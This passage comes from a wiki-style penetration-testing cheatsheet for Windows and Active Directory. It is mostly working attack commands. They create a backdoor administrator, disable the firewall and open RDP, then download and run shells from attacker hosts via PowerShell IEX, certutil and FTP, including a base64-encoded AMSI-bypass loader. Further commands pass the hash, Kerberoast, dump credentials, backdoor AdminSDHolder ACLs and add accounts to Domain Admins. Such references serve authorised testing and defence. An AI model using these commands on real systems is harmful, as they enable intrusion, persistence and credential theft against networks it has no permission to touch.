net user %username% #Info about a user (me)
net accounts #Information about password requirements
qwinsta #Anyone else logged in?
net user /add [username] [password] #Create user
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user\ "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
------------------------------------------------------------------------
# GROUPS
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain #Users that belongs to the group
------------------------------------------------------------------------
# PERSISTENCE WITH USERS
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
------------------------------------------------------------------------
# FIREWALL
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
::How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
::Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
::Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
</syntaxhighlight>

=== PowerShell ===

<syntaxhighlight lang="powershell">
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters
# Default PowerShell locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
------------------------------------------------------------------------
# Basic PS commands to start
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module
Get-Command -Module
------------------------------------------------------------------------
# Download and Execute
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
------------------------------------------------------------------------
# Download and Exectute in background with AMSI Bypass
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
------------------------------------------------------------------------
# Using Base64 from Linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc
# Enumerate GenericAll using PowerView
## To identify all domain users that the current account has GenericAll rights to (Remember to run from domain user and not local user:
PS C:\tools> Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
## If you have GenericAll on user account, change the password
net user user1 pass123 /domain
# To enumerate domain groups that the current user has explicit access rights to:
PS C:\tools> Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq "$env:UserDomain\$env:Username") {$_}}
## With GenericAll rights on a group, a user can add themselves or other users to that group:
net group testgroup User2 /add /domain
# Enumerate PowerShell Console history
(Get-PSReadlineOption).HistorySavePath
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

</syntaxhighlight>

=== Download file from attacker to target ===

[https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info]

See my cheatsheet also.

<syntaxhighlight lang="bash">
# CMD
# Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
# CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
# Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
# CrackMapExec
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
# Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
# Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
# Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
# Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
# Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
# Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
# GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
# Hh.exe
HH.exe http://some.url/script.ps1
# Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
# Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
# MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable
# Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
# Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
# Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Squirrel.exe
squirrel.exe --download [url to package]
# Update.exe
Update.exe --download [url to package]
# Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
# Wsl.exe
wsl.exe --exec bash -c 'cat binary'
</syntaxhighlight>

<syntaxhighlight lang="powershell">
# POWERSHELL
# System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
# BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
# Base64 Kali & EncodedCommand
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand
</syntaxhighlight>

== adPEAS ==

[https://github.com/61106960/adPEAS https://github.com/61106960/adPEAS]

adPEAS consists of the following enumeration modules:

* Domain - Searching for basic Active Directory information, like Domain Controllers, Sites und Subnets, Trusts and DCSync rights

* CA - Searching for basic Enterprise Certificate Authority information, like CA Name, CA Server and Templates

* Creds - Searching for different kind of credential exposure, like ASREPRoast, Kerberoasting, GroupPolicies, Netlogon scripts, LAPS, gMSA, certain account attributes, e.g. UnixPassword, etc.

* Delegation - Searching for delegation issues, like 'Constrained Delegation', 'Unconstrained Delegation' and 'Resource Based Unconstrained Delegation', for computer and user accounts

* Accounts - Searching for high privileged user accounts in predefined groups, account issues like e.g. password not expire

* Computer - Enumerating Domain Controllers, CA and Exchange server, with the switch -Vulns it checks the systems for EternalBlue, BlueKeep, ZeroLogon and critical Exchange vulnerabilities

* Bloodhound - Enumerating Active Directory with BloodHound

<syntaxhighlight lang="powershell">
# Load adPEAS in PowerShell.
Import-Module .\adPEAS.ps1 # Method 1
. .\adPEAS.ps1 # Method 2
gc -raw .\adPEAS.ps1 | iex # Method 3
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1') # Method 4
-----------------------------
# Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.
Invoke-adPEAS
#Start adPEAS with all enumeration modules and enumerate the domain 'contoso.com'.
Invoke-adPEAS -Domain 'contoso.com'
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for almost all enumeration requests.
Invoke-adPEAS -Domain 'contoso.com' -Server 'dc1.contoso.com'
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the passed PSCredential object during enumeration.
$SecPassword = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\johndoe', $SecPassword)
Invoke-adPEAS -Domain 'contoso.com' -Cred $Cred
# Start adPEAS with all enumeration modules, enumerate the domain 'contoso.com' and use the username 'contoso\johndoe' with password 'Passw0rd1!' during enumeration.
Invoke-adPEAS -Domain contoso.com -Username 'contoso\johndoe' -Password 'Passw0rd1!'
</syntaxhighlight>

== LiniKatzV2 ==

This tool needs '''root privileges''' to be run on the host system.

<syntaxhighlight lang="bash">
https://github.com/Orange-Cyberdefense/LinikatzV2
# It allows extraction of :
# - Hashed stored in files for offline connection (SHA-512 format)
# - Kerberos tickets (user & machine)
# - Clear passwords in RAM
# - NTLM machine hash
# - AES-128 & AES-256 machine keys
$ sudo ./linikatzV2.sh
</syntaxhighlight>

== Purple-Knight ==

[https://www.purple-knight.com/ https://www.purple-knight.com/]

== Fores-Druid ==

[https://www.purple-knight.com/forest-druid/ Forest Druid - Focus on your Tier 0 perimeter (purple-knight.com)]

== PowerView (Enumeration and lateral movement) ==

[https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview PowerView/SharpView - HackTricks]

The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1]

[https://github.com/tevora-threat/SharpView SharpView] is a .NET port of [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 PowerView]

<syntaxhighlight lang="bash">
# Quick Enumeration
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN #Kerberoastable users
#Groups info
Get-NetGroup | select samaccountname, admincount, description
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local' | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders
#Computers
Get-NetComputer | select samaccountname, operatingsystem
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#Shares
Find-DomainShare -CheckShareAccess #Search readable shares
#Domain trusts
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
#LHF
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.
Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

-----------------------
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
Get-NetDomain -Domain mydomain.local
Get-DomainSID #Get domain SID
# Policy
Get-DomainPolicy #Get info about the policy
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Get-DomainPolicyData # Same as Get-DomainPolicy
# Domain Controller
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller
# Get Forest info
Get-ForestDomain
---------------
# Users, Groups, Computers and OU's
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
## Get-DomainUser and Get-NetUser are kind of the same
Get-NetUser #Get users with several (not all) properties
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames
Get-NetUser -UserName student107 #Get info about a user
Get-NetUser -properties name, description #Get all descriptions
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount #Get all pwdlastset, logoncount and badpwdcount
Find-UserField -SearchField Description -SearchTerm "built" #Search account with "something" in a parameter
# Get users with reversible encryption (PWD in clear text with dcsync)
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
# Users Filters
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users
Get-NetUser -LDAPFilter '(sidHistory=*)' #Find users with sidHistory set
Get-NetUser -PreauthNotRequired #ASREPRoastable users
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'} #Domain admins kerberostable
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy
## Users with this flag might have empty passwords (if allowed) or shorter passwords
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
#Groups
Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName
## Get-DomainGroup is similar to Get-NetGroup
Get-NetGroup #Get groups
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain
Get-NetGroup 'Domain Admins' #Get all data of a group
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups
Get-NetGroup -UserName "myusername" #Get groups of a user
Get-NetGroupMember -Identity "Administrators" -Recurse #Get users inside "Administrators" group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also
Get-NetGroupMember -Identity "Enterprise Admins" -Domain mydomain.local #Remember that "Enterprise Admins" group only exists in the rootdomain of the forest
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs #Check AdminSDHolder users
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid
Get-NetGPOGroup #Get restricted groups
# Computers
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
Get-NetComputer #Get all computer objects
Get-NetComputer -Ping #Send a ping to check if the computers are working
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} #Find any machine accounts in privileged groups
#OU
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs
Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)
## Get-DomainOU is kind of the same as Get-NetOU
Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
-----------------------
# Logon and sessions
Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName #Get active sessions on the host
Get-LoggedOnLocal -ComputerName #Get locally logon users at the moment (need remote registry (default in server OS))
Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host)

---------------
# Group Policy Object - GPOs
# If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action.
More info https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#gpo-delegation
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
Get-NetGPO | select displayname #Get the names of the policies
Get-NetGPO -ComputerName #Get the policy applied in a computer
gpresult /V #Get current policy
# Get who can create new GPOs
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=dev,DC=invented,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Enumerate permissions for GPOs where users with RIDs of > 1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
# Get permissions a user/group has over any GPO
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
# COnvert GPO GUID to name
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532
# Transform SID to name
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Get GPO of an OU
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
--------------
# ACL
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName -ResolveGUIDs
#Other way to get ACLs of an object
$sid = Convert-NameToSid
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
#Get permissions of a file
Get-PathAcl -Path "\\dc.mydomain.local\sysvol"
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
Find-InterestingDomainAcl -ResolveGUIDs
#Check if any of the interesting permissions founds is realated to a username/group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
-------------------
# Shared files and folders
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
-----------------------
# Domain trust
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
Get-DomainTrustMapping #Enumerate also all the trusts
Get-ForestDomain # Get basic forest info
Get-ForestGlobalCatalog #Get info of current forest (no external)
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
---------------------
# Check for low-hangig fruit
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
#Enumerate machines where a particular user/group identity has local admin rights
Get-DomainGPOUserLocalGroupMapping -Identity
# Enumerates the members of specified local group (default administrators)
# for all the targeted machines on the current (or specified) domain.
Invoke-EnumerateLocalAdmin
Find-DomainLocalGroupMember
#Search unconstrained delegation computers and show users
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
#Admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
#Get members from Domain Admins (default) and a list of computers
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.
## By default users inside Domain Admins are searched
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName
Invoke-UserHunter [-CheckAccess]
#Search "RDPUsers" users
Invoke-UserHunter -GroupName "RDPUsers"
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
Invoke-UserHunter -Stealth

-------------------
# SID to Name
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
# Kerberoast
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
# Use different credentials (argument)
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
# Impersonate a user
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
# Set values
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
</syntaxhighlight>

== PingCastle ==

[https://www.pingcastle.com/ https://www.pingcastle.com/]

<syntaxhighlight lang="bash">
# Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.
# Simple healthcheck
./pingcastle.exe --user User1 --password Password1 --server domain.com --healthcheck
</syntaxhighlight>

== Adalanche ==

[https://github.com/lkarlslund/Adalanche lkarlslund/Adalanche: Active Directory ACL Visualizer and Explorer - who's really Domain Admin? (Commerical versions available from NetSection) (github.com)]

>
Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and show misconfigurations.

<syntaxhighlight lang="bash">
# Example to create data files file for contoso.local coming from your Linux pwnage box using TLS port 636, ignoring certs and using NTLM auth:
adalanche collect activedirectory --tlsmode tls --ignorecert --domain contoso.local --authdomain CONTOSO --username joe --password Hunter42
# From domain joined Windows member using current user:
adalanche collect activedirectory
# From domain joined Windows machine using other credentials than logged in:
adalanche collect activedirectory --authmode ntlm --username joe --password Hunter42
</syntaxhighlight>

== BloodHound ==

[https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/BloodHound]

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.

* Run sharphound or bloodhound.py to collection data from target

* Transfer and import the zip files to bloodhound

* Analyze https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html

<syntaxhighlight lang="bash">
# INSTALL BLOODHOUND
# Install java
echo "deb http://httpredir.debian.org/debian stretch-backports main" | sudo tee -a /etc/apt/sources.list.d/stretch-backports.list
sudo apt-get update
# Install neo4j
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
sudo apt-get update
apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl stop neo4j
# Start neo4j
cd /usr/bin
./neo4j console
